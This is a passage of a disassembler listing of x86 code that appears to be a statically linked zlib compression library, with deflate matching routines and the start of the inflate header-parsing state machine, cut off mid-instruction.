sub_4BFEFA+2B6j mov eax, [ebp+arg_4] and eax, [ebp+var_1C] mov ecx, [ebp+var_28] xor edx, edx mov dx, [ecx+eax*2] mov [ebp+arg_4], edx mov eax, [ebp+arg_4] cmp eax, [ebp+var_20] jbe short loc_4C020F mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx cmp [ebp+var_2C], 0 jnz loc_4BFFD4 loc_4C020F: ; CODE XREF: sub_4BFEFA+2CFj ; sub_4BFEFA+300j mov edx, [ebp+arg_0] mov eax, [ebp+var_18] cmp eax, [edx+6Ch] ja short loc_4C021F mov eax, [ebp+var_18] jmp short loc_4C0225 ; --------------------------------------------------------------------------- loc_4C021F: ; CODE XREF: sub_4BFEFA+31Ej mov ecx, [ebp+arg_0] mov eax, [ecx+6Ch] loc_4C0225: ; CODE XREF: sub_4BFEFA+323j mov esp, ebp pop ebp retn sub_4BFEFA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 2Ch push ebx mov dword ptr [ebp-8], 0 loc_4C0237: ; CODE XREF: .text:loc_4C07CEj mov eax, [ebp+8] cmp dword ptr [eax+6Ch], 106h jnb short loc_4C0276 mov ecx, [ebp+8] push ecx call sub_4BF6D0 add esp, 4 mov edx, [ebp+8] cmp dword ptr [edx+6Ch], 106h jnb short loc_4C0268 cmp dword ptr [ebp+0Ch], 0 jnz short loc_4C0268 xor eax, eax jmp loc_4C0916 ; --------------------------------------------------------------------------- loc_4C0268: ; CODE XREF: .text:004C0259j ; .text:004C025Fj mov eax, [ebp+8] cmp dword ptr [eax+6Ch], 0 jnz short loc_4C0276 jmp loc_4C07D3 ; --------------------------------------------------------------------------- loc_4C0276: ; CODE XREF: .text:004C0241j ; .text:004C026Fj mov ecx, [ebp+8] cmp dword ptr [ecx+6Ch], 3 jb short loc_4C02F3 mov edx, [ebp+8] mov eax, [ebp+8] mov edx, [edx+40h] mov ecx, [eax+50h] shl edx, cl mov eax, [ebp+8] mov ecx, [eax+64h] mov eax, [ebp+8] mov eax, [eax+30h] xor ebx, ebx mov bl, [eax+ecx+2] xor edx, ebx mov ecx, [ebp+8] and edx, [ecx+4Ch] mov eax, [ebp+8] mov [eax+40h], edx mov ecx, [ebp+8] mov edx, [ecx+40h] mov eax, [ebp+8] mov ecx, [eax+3Ch] xor eax, eax mov ax, [ecx+edx*2] mov [ebp-8], eax mov ecx, [ebp+8] mov edx, [ebp+8] mov eax, [ecx+64h] and eax, [edx+2Ch] mov ecx, [ebp+8] mov edx, [ecx+38h] mov cx, [ebp-8] mov [edx+eax*2], cx mov edx, [ebp+8] mov eax, [edx+40h] mov ecx, [ebp+8] mov edx, [ecx+3Ch] mov ecx, [ebp+8] mov cx, [ecx+64h] mov [edx+eax*2], cx loc_4C02F3: ; CODE XREF: .text:004C027Dj mov edx, [ebp+8] mov eax, [ebp+8] mov ecx, [eax+58h] mov [edx+70h], ecx mov edx, [ebp+8] mov eax, [ebp+8] mov ecx, [eax+68h] mov [edx+5Ch], ecx mov edx, [ebp+8] mov dword ptr [edx+58h], 2 cmp dword ptr [ebp-8], 0 jz loc_4C03A3 mov eax, [ebp+8] mov ecx, [ebp+8] mov edx, [eax+70h] cmp edx, [ecx+78h] jnb short loc_4C03A3 mov eax, [ebp+8] mov ecx, [eax+64h] sub ecx, [ebp-8] mov edx, [ebp+8] mov eax, [edx+24h] sub eax, 106h cmp ecx, eax ja short loc_4C03A3 mov ecx, [ebp+8] cmp dword ptr [ecx+80h], 2 jz short loc_4C0367 mov edx, [ebp-8] push edx mov eax, [ebp+8] push eax call sub_4BFEFA add esp, 8 mov ecx, [ebp+8] mov [ecx+58h], eax loc_4C0367: ; CODE XREF: .text:004C034Fj mov edx, [ebp+8] cmp dword ptr [edx+58h], 5 ja short loc_4C03A3 mov eax, [ebp+8] cmp dword ptr [eax+80h], 1 jz short loc_4C0399 mov ecx, [ebp+8] cmp dword ptr [ecx+58h], 3 jnz short loc_4C03A3 mov edx, [ebp+8] mov eax, [ebp+8] mov ecx, [edx+64h] sub ecx, [eax+68h] cmp ecx, 1000h jbe short loc_4C03A3 loc_4C0399: ; CODE XREF: .text:004C037Aj mov edx, [ebp+8] mov dword ptr [edx+58h], 2 loc_4C03A3: ; CODE XREF: .text:004C0319j ; .text:004C032Bj ... mov eax, [ebp+8] cmp dword ptr [eax+70h], 3 jb loc_4C0666 mov ecx, [ebp+8] mov edx, [ebp+8] mov eax, [ecx+58h] cmp eax, [edx+70h] ja loc_4C0666 mov ecx, [ebp+8] mov edx, [ecx+64h] mov eax, [ebp+8] mov ecx, [eax+6Ch] lea edx, [edx+ecx-3] mov [ebp-0Ch], edx mov eax, [ebp+8] mov ecx, [eax+70h] sub ecx, 3 mov [ebp-14h], cl mov edx, [ebp+8] mov eax, [edx+64h] sub eax, 1 mov ecx, [ebp+8] sub eax, [ecx+5Ch] mov [ebp-10h], ax mov edx, [ebp+8] mov eax, [edx+1698h] mov ecx, [ebp+8] mov edx, [ecx+169Ch] mov cx, [ebp-10h] mov [edx+eax*2], cx mov edx, [ebp+8] mov eax, [edx+1690h] mov ecx, [ebp+8] mov edx, [ecx+1698h] mov cl, [ebp-14h] mov [eax+edx], cl mov edx, [ebp+8] mov eax, [edx+1698h] add eax, 1 mov ecx, [ebp+8] mov [ecx+1698h], eax mov dx, [ebp-10h] sub dx, 1 mov [ebp-10h], dx mov eax, [ebp-14h] and eax, 0FFh xor ecx, ecx mov cl, byte_4F2CA0[eax] mov edx, [ebp+8] mov ax, [edx+ecx*4+490h] add ax, 1 mov ecx, [ebp-14h] and ecx, 0FFh xor edx, edx mov dl, byte_4F2CA0[ecx] mov ecx, [ebp+8] mov [ecx+edx*4+490h], ax mov edx, [ebp-10h] and edx, 0FFFFh cmp edx, 100h jge short loc_4C04A8 mov eax, [ebp-10h] and eax, 0FFFFh xor ecx, ecx mov cl, byte_4F2AA0[eax] mov [ebp-20h], ecx jmp short loc_4C04BF ; --------------------------------------------------------------------------- loc_4C04A8: ; CODE XREF: .text:004C0491j mov edx, [ebp-10h] and edx, 0FFFFh sar edx, 7 xor eax, eax mov al, byte_4F2BA0[edx] mov [ebp-20h], eax loc_4C04BF: ; CODE XREF: .text:004C04A6j mov ecx, [ebp-20h] mov edx, [ebp+8] mov ax, [edx+ecx*4+980h] add ax, 1 mov ecx, [ebp-20h] mov edx, [ebp+8] mov [edx+ecx*4+980h], ax mov eax, [ebp+8] mov ecx, [eax+1694h] sub ecx, 1 mov edx, [ebp+8] xor eax, eax cmp [edx+1698h], ecx setz al mov [ebp-4], eax mov ecx, [ebp+8] mov edx, [ecx+70h] sub edx, 1 mov eax, [ebp+8] mov ecx, [eax+6Ch] sub ecx, edx mov edx, [ebp+8] mov [edx+6Ch], ecx mov eax, [ebp+8] mov ecx, [eax+70h] sub ecx, 2 mov edx, [ebp+8] mov [edx+70h], ecx loc_4C0522: ; CODE XREF: .text:004C05C6j mov eax, [ebp+8] mov ecx, [eax+64h] add ecx, 1 mov edx, [ebp+8] mov [edx+64h], ecx mov eax, [ebp+8] mov ecx, [eax+64h] cmp ecx, [ebp-0Ch] ja short loc_4C05B0 mov edx, [ebp+8] mov eax, [ebp+8] mov edx, [edx+40h] mov ecx, [eax+50h] shl edx, cl mov eax, [ebp+8] mov ecx, [eax+64h] mov eax, [ebp+8] mov eax, [eax+30h] xor ebx, ebx mov bl, [eax+ecx+2] xor edx, ebx mov ecx, [ebp+8] and edx, [ecx+4Ch] mov eax, [ebp+8] mov [eax+40h], edx mov ecx, [ebp+8] mov edx, [ecx+40h] mov eax, [ebp+8] mov ecx, [eax+3Ch] xor eax, eax mov ax, [ecx+edx*2] mov [ebp-8], eax mov ecx, [ebp+8] mov edx, [ebp+8] mov eax, [ecx+64h] and eax, [edx+2Ch] mov ecx, [ebp+8] mov edx, [ecx+38h] mov cx, [ebp-8] mov [edx+eax*2], cx mov edx, [ebp+8] mov eax, [edx+40h] mov ecx, [ebp+8] mov edx, [ecx+3Ch] mov ecx, [ebp+8] mov cx, [ecx+64h] mov [edx+eax*2], cx loc_4C05B0: ; CODE XREF: .text:004C053Aj mov edx, [ebp+8] mov eax, [edx+70h] sub eax, 1 mov ecx, [ebp+8] mov [ecx+70h], eax mov edx, [ebp+8] cmp dword ptr [edx+70h], 0 jnz loc_4C0522 mov eax, [ebp+8] mov dword ptr [eax+60h], 0 mov ecx, [ebp+8] mov dword ptr [ecx+58h], 2 mov edx, [ebp+8] mov eax, [edx+64h] add eax, 1 mov ecx, [ebp+8] mov [ecx+64h], eax cmp dword ptr [ebp-4], 0 jz short loc_4C0661 mov edx, [ebp+8] cmp dword ptr [edx+54h], 0 jl short loc_4C060F mov eax, [ebp+8] mov ecx, [eax+30h] mov edx, [ebp+8] add ecx, [edx+54h] mov [ebp-24h], ecx jmp short loc_4C0616 ; --------------------------------------------------------------------------- loc_4C060F: ; CODE XREF: .text:004C05FCj mov dword ptr [ebp-24h], 0 loc_4C0616: ; CODE XREF: .text:004C060Dj push 0 mov eax, [ebp+8] mov ecx, [ebp+8] mov edx, [eax+64h] sub edx, [ecx+54h] push edx mov eax, [ebp-24h] push eax mov ecx, [ebp+8] push ecx call sub_4C20F2 add esp, 10h mov edx, [ebp+8] mov eax, [ebp+8] mov ecx, [eax+64h] mov [edx+54h], ecx mov edx, [ebp+8] mov eax, [edx] push eax call sub_4BEF80 add esp, 4 mov ecx, [ebp+8] mov edx, [ecx] cmp dword ptr [edx+10h], 0 jnz short loc_4C0661 xor eax, eax jmp loc_4C0916 ; --------------------------------------------------------------------------- loc_4C0661: ; CODE XREF: .text:004C05F3j ; .text:004C0658j jmp loc_4C07CE ; --------------------------------------------------------------------------- loc_4C0666: ; CODE XREF: .text:004C03AAj ; .text:004C03BCj mov eax, [ebp+8] cmp dword ptr [eax+60h], 0 jz loc_4C07A6 mov ecx, [ebp+8] mov edx, [ecx+64h] mov eax, [ebp+8] mov ecx, [eax+30h] mov dl, [ecx+edx-1] mov [ebp-18h], dl mov eax, [ebp+8] mov ecx, [eax+1698h] mov edx, [ebp+8] mov eax, [edx+169Ch] mov word ptr [eax+ecx*2], 0 mov ecx, [ebp+8] mov edx, [ecx+1690h] mov eax, [ebp+8] mov ecx, [eax+1698h] mov al, [ebp-18h] mov [edx+ecx], al mov ecx, [ebp+8] mov edx, [ecx+1698h] add edx, 1 mov eax, [ebp+8] mov [eax+1698h], edx mov ecx, [ebp-18h] and ecx, 0FFh mov edx, [ebp+8] mov ax, [edx+ecx*4+8Ch] add ax, 1 mov ecx, [ebp-18h] and ecx, 0FFh mov edx, [ebp+8] mov [edx+ecx*4+8Ch], ax mov eax, [ebp+8] mov ecx, [eax+1694h] sub ecx, 1 mov edx, [ebp+8] xor eax, eax cmp [edx+1698h], ecx setz al mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz short loc_4C0774 mov ecx, [ebp+8] cmp dword ptr [ecx+54h], 0 jl short loc_4C0734 mov edx, [ebp+8] mov eax, [edx+30h] mov ecx, [ebp+8] add eax, [ecx+54h] mov [ebp-28h], eax jmp short loc_4C073B ; --------------------------------------------------------------------------- loc_4C0734: ; CODE XREF: .text:004C0721j mov dword ptr [ebp-28h], 0 loc_4C073B: ; CODE XREF: .text:004C0732j push 0 mov edx, [ebp+8] mov eax, [ebp+8] mov ecx, [edx+64h] sub ecx, [eax+54h] push ecx mov edx, [ebp-28h] push edx mov eax, [ebp+8] push eax call sub_4C20F2 add esp, 10h mov ecx, [ebp+8] mov edx, [ebp+8] mov eax, [edx+64h] mov [ecx+54h], eax mov ecx, [ebp+8] mov edx, [ecx] push edx call sub_4BEF80 add esp, 4 loc_4C0774: ; CODE XREF: .text:004C0718j mov eax, [ebp+8] mov ecx, [eax+64h] add ecx, 1 mov edx, [ebp+8] mov [edx+64h], ecx mov eax, [ebp+8] mov ecx, [eax+6Ch] sub ecx, 1 mov edx, [ebp+8] mov [edx+6Ch], ecx mov eax, [ebp+8] mov ecx, [eax] cmp dword ptr [ecx+10h], 0 jnz short loc_4C07A4 xor eax, eax jmp loc_4C0916 ; --------------------------------------------------------------------------- loc_4C07A4: ; CODE XREF: .text:004C079Bj jmp short loc_4C07CE ; --------------------------------------------------------------------------- loc_4C07A6: ; CODE XREF: .text:004C066Dj mov edx, [ebp+8] mov dword ptr [edx+60h], 1 mov eax, [ebp+8] mov ecx, [eax+64h] add ecx, 1 mov edx, [ebp+8] mov [edx+64h], ecx mov eax, [ebp+8] mov ecx, [eax+6Ch] sub ecx, 1 mov edx, [ebp+8] mov [edx+6Ch], ecx loc_4C07CE: ; CODE XREF: .text:loc_4C0661j ; .text:loc_4C07A4j jmp loc_4C0237 ; --------------------------------------------------------------------------- loc_4C07D3: ; CODE XREF: .text:004C0271j mov eax, [ebp+8] cmp dword ptr [eax+60h], 0 jz loc_4C088B mov ecx, [ebp+8] mov edx, [ecx+64h] mov eax, [ebp+8] mov ecx, [eax+30h] mov dl, [ecx+edx-1] mov [ebp-1Ch], dl mov eax, [ebp+8] mov ecx, [eax+1698h] mov edx, [ebp+8] mov eax, [edx+169Ch] mov word ptr [eax+ecx*2], 0 mov ecx, [ebp+8] mov edx, [ecx+1690h] mov eax, [ebp+8] mov ecx, [eax+1698h] mov al, [ebp-1Ch] mov [edx+ecx], al mov ecx, [ebp+8] mov edx, [ecx+1698h] add edx, 1 mov eax, [ebp+8] mov [eax+1698h], edx mov ecx, [ebp-1Ch] and ecx, 0FFh mov edx, [ebp+8] mov ax, [edx+ecx*4+8Ch] add ax, 1 mov ecx, [ebp-1Ch] and ecx, 0FFh mov edx, [ebp+8] mov [edx+ecx*4+8Ch], ax mov eax, [ebp+8] mov ecx, [eax+1694h] sub ecx, 1 mov edx, [ebp+8] xor eax, eax cmp [edx+1698h], ecx setz al mov [ebp-4], eax mov ecx, [ebp+8] mov dword ptr [ecx+60h], 0 loc_4C088B: ; CODE XREF: .text:004C07DAj mov edx, [ebp+8] cmp dword ptr [edx+54h], 0 jl short loc_4C08A5 mov eax, [ebp+8] mov ecx, [eax+30h] mov edx, [ebp+8] add ecx, [edx+54h] mov [ebp-2Ch], ecx jmp short loc_4C08AC ; --------------------------------------------------------------------------- loc_4C08A5: ; CODE XREF: .text:004C0892j mov dword ptr [ebp-2Ch], 0 loc_4C08AC: ; CODE XREF: .text:004C08A3j xor eax, eax cmp dword ptr [ebp+0Ch], 4 setz al push eax mov ecx, [ebp+8] mov edx, [ebp+8] mov eax, [ecx+64h] sub eax, [edx+54h] push eax mov ecx, [ebp-2Ch] push ecx mov edx, [ebp+8] push edx call sub_4C20F2 add esp, 10h mov eax, [ebp+8] mov ecx, [ebp+8] mov edx, [ecx+64h] mov [eax+54h], edx mov eax, [ebp+8] mov ecx, [eax] push ecx call sub_4BEF80 add esp, 4 mov edx, [ebp+8] mov eax, [edx] cmp dword ptr [eax+10h], 0 jnz short loc_4C0907 xor eax, eax cmp dword ptr [ebp+0Ch], 4 setnz al dec eax and eax, 2 jmp short loc_4C0916 ; --------------------------------------------------------------------------- loc_4C0907: ; CODE XREF: .text:004C08F6j mov eax, [ebp+0Ch] sub eax, 4 neg eax sbb eax, eax and al, 0FEh add eax, 3 loc_4C0916: ; CODE XREF: .text:004C0263j ; .text:004C065Cj ... pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C0920 proc near ; CODE XREF: sub_4C09F4+15Ap ; .text:004C142Ap arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_4C0932 mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jnz short loc_4C0939 loc_4C0932: ; CODE XREF: sub_4C0920+7j mov eax, 0FFFFFFFEh jmp short loc_4C0989 ; --------------------------------------------------------------------------- loc_4C0939: ; CODE XREF: sub_4C0920+10j mov ecx, [ebp+arg_0] mov dword ptr [ecx+14h], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], 0 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+0Ch] neg eax sbb eax, eax and eax, 7 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx], eax push 0 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+14h] push eax call sub_4C4D60 add esp, 0Ch xor eax, eax loc_4C0989: ; CODE XREF: sub_4C0920+17j pop ebp retn sub_4C0920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C098B proc near ; CODE XREF: sub_49034E+1D8p ; sub_4C09F4+E6p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_4C09A6 mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jz short loc_4C09A6 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+24h], 0 jnz short loc_4C09AD loc_4C09A6: ; CODE XREF: sub_4C098B+7j ; sub_4C098B+10j mov eax, 0FFFFFFFEh jmp short loc_4C09F2 ; --------------------------------------------------------------------------- loc_4C09AD: ; CODE XREF: sub_4C098B+19j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp dword ptr [eax+14h], 0 jz short loc_4C09CF mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+14h] push ecx call sub_4C629D add esp, 8 loc_4C09CF: ; CODE XREF: sub_4C098B+2Cj mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_0] call dword ptr [eax+24h] add esp, 8 mov ecx, [ebp+arg_0] mov dword ptr [ecx+1Ch], 0 xor eax, eax loc_4C09F2: ; CODE XREF: sub_4C098B+20j pop ebp retn sub_4C098B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C09F4 proc near ; CODE XREF: sub_4C0B5A+11p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jz short loc_4C0A14 mov eax, [ebp+arg_8] movsx ecx, byte ptr [eax] movsx edx, byte_4EDDF0 cmp ecx, edx jnz short loc_4C0A14 cmp [ebp+arg_C], 38h jz short loc_4C0A1E loc_4C0A14: ; CODE XREF: sub_4C09F4+7j ; sub_4C09F4+18j mov eax, 0FFFFFFFAh jmp loc_4C0B58 ; --------------------------------------------------------------------------- loc_4C0A1E: ; CODE XREF: sub_4C09F4+1Ej cmp [ebp+arg_0], 0 jnz short loc_4C0A2E mov eax, 0FFFFFFFEh jmp loc_4C0B58 ; --------------------------------------------------------------------------- loc_4C0A2E: ; CODE XREF: sub_4C09F4+2Ej mov eax, [ebp+arg_0] mov dword ptr [eax+18h], 0 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+20h], 0 jnz short loc_4C0A55 mov edx, [ebp+arg_0] mov dword ptr [edx+20h], offset sub_4C169E mov eax, [ebp+arg_0] mov dword ptr [eax+28h], 0 loc_4C0A55: ; CODE XREF: sub_4C09F4+4Bj mov ecx, [ebp+arg_0] cmp dword ptr [ecx+24h], 0 jnz short loc_4C0A68 mov edx, [ebp+arg_0] mov dword ptr [edx+24h], offset sub_4C16C7 loc_4C0A68: ; CODE XREF: sub_4C09F4+68j push 18h push 1 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+20h] add esp, 0Ch mov ecx, [ebp+arg_0] mov [ecx+1Ch], eax mov edx, [ebp+arg_0] cmp dword ptr [edx+1Ch], 0 jnz short loc_4C0A95 mov eax, 0FFFFFFFCh jmp loc_4C0B58 ; --------------------------------------------------------------------------- loc_4C0A95: ; CODE XREF: sub_4C09F4+95j mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx+14h], 0 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+0Ch], 0 cmp [ebp+arg_4], 0 jge short loc_4C0ACA mov ecx, [ebp+arg_4] neg ecx mov [ebp+arg_4], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+0Ch], 1 loc_4C0ACA: ; CODE XREF: sub_4C09F4+BFj cmp [ebp+arg_4], 8 jl short loc_4C0AD6 cmp [ebp+arg_4], 0Fh jle short loc_4C0AE9 loc_4C0AD6: ; CODE XREF: sub_4C09F4+DAj mov ecx, [ebp+arg_0] push ecx call sub_4C098B add esp, 4 mov eax, 0FFFFFFFEh jmp short loc_4C0B58 ; --------------------------------------------------------------------------- loc_4C0AE9: ; CODE XREF: sub_4C09F4+E0j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [ebp+arg_4] mov [eax+10h], ecx mov edx, 1 mov ecx, [ebp+arg_4] shl edx, cl push edx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+0Ch] neg edx sbb edx, edx not edx and edx, offset sub_4C16E0 push edx mov eax, [ebp+arg_0] push eax call sub_4C4E17 add esp, 0Ch mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+14h], eax mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp dword ptr [ecx+14h], 0 jnz short loc_4C0B4A mov edx, [ebp+arg_0] push edx call sub_4C098B add esp, 4 mov eax, 0FFFFFFFCh jmp short loc_4C0B58 ; --------------------------------------------------------------------------- loc_4C0B4A: ; CODE XREF: sub_4C09F4+141j mov eax, [ebp+arg_0] push eax call sub_4C0920 add esp, 4 xor eax, eax loc_4C0B58: ; CODE XREF: sub_4C09F4+25j ; sub_4C09F4+35j ... pop ebp retn sub_4C09F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C0B5A proc near ; CODE XREF: sub_49034E+19Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 0Fh mov edx, [ebp+arg_0] push edx call sub_4C09F4 add esp, 10h pop ebp retn sub_4C0B5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C0B75 proc near ; CODE XREF: sub_49034E+1B1p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_4C0B92 mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jz short loc_4C0B92 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0 jnz short loc_4C0B9C loc_4C0B92: ; CODE XREF: sub_4C0B75+Aj ; sub_4C0B75+13j mov eax, 0FFFFFFFEh jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C0B9C: ; CODE XREF: sub_4C0B75+1Bj xor edx, edx cmp [ebp+arg_4], 4 setnz dl dec edx and edx, 0FFFFFFFBh mov [ebp+arg_4], edx mov [ebp+var_8], 0FFFFFFFBh loc_4C0BB3: ; CODE XREF: sub_4C0B75:loc_4C1205j mov eax, 1 test eax, eax jz loc_4C120A mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx] mov [ebp+var_C], eax cmp [ebp+var_C], 0Dh ja loc_4C11FE mov ecx, [ebp+var_C] jmp ds:off_4C120E[ecx*4] loc_4C0BDF: ; DATA XREF: .text:off_4C120Eo mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_4C0BF0 mov eax, [ebp+var_8] jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C0BF0: ; CODE XREF: sub_4C0B75+71j mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx] mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] xor eax, eax mov al, [edx] mov [ecx+4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+4] and eax, 0Fh mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov ecx, [ebp+arg_0] mov [ecx], edx cmp eax, 8 jz short loc_4C0C6C mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Dh mov ecx, [ebp+arg_0] mov dword ptr [ecx+18h], offset aUnknownCompres ; "unknown compression method" mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+4], 5 jmp loc_4C1205 ; --------------------------------------------------------------------------- loc_4C0C6C: ; CODE XREF: sub_4C0B75+CDj mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+4] shr eax, 4 add eax, 8 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp eax, [edx+10h] jbe short loc_4C0CAE mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx], 0Dh mov edx, [ebp+arg_0] mov dword ptr [edx+18h], offset aInvalidWindowS ; "invalid window size" mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov dword ptr [ecx+4], 5 jmp loc_4C1205 ; --------------------------------------------------------------------------- loc_4C0CAE: ; CODE XREF: sub_4C0B75+10Fj mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 1 loc_4C0CBA: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C1212o mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_4C0CCB mov eax, [ebp+var_8] jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C0CCB: ; CODE XREF: sub_4C0B75+14Cj mov edx, [ebp+arg_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov ecx, [eax] xor edx, edx mov dl, [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov eax, [ecx+4] shl eax, 8 add eax, [ebp+var_4] xor edx, edx mov ecx, 1Fh div ecx test edx, edx jz short loc_4C0D4C mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 0Dh mov ecx, [ebp+arg_0] mov dword ptr [ecx+18h], offset aIncorrectHeade ; "incorrect header check" mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax+4], 5 jmp loc_4C1205 ; --------------------------------------------------------------------------- loc_4C0D4C: ; CODE XREF: sub_4C0B75+1ADj mov ecx, [ebp+var_4] and ecx, 20h test ecx, ecx jnz short loc_4C0D67 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 7 jmp loc_4C1205 ; --------------------------------------------------------------------------- loc_4C0D67: ; CODE XREF: sub_4C0B75+1DFj mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 2 loc_4C0D73: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C1216o mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_4C0D84 mov eax, [ebp+var_8] jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C0D84: ; CODE XREF: sub_4C0B75+205j mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_0] mov eax, [edx] xor ecx, ecx mov cl, [eax] shl ecx, 18h mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov [eax+8], ecx mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov dword ptr [edx], 3 loc_4C0DD6: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C121Ao mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_4C0DE7 mov eax, [ebp+var_8] jmp loc_4C120A ; --------------------------------------------------------------------------- loc_4C0DE7: ; CODE XREF: sub_4C0B75+268j mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] sub eax, 1 mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [ebp+arg_0] mov edx, [ecx] xor ecx, ecx mov cl, [edx] shl ecx, 10h mov edx, [eax+8] add edx, ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ecx+8], edx mov edx, [ebp+arg_0] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov dword ptr [eax], 4 loc_4C0E44: ; CODE XREF: sub_4C0B75+63j ; DATA XREF: .text:004C121Eo mov ecx, [ebp+arg_0] cmp 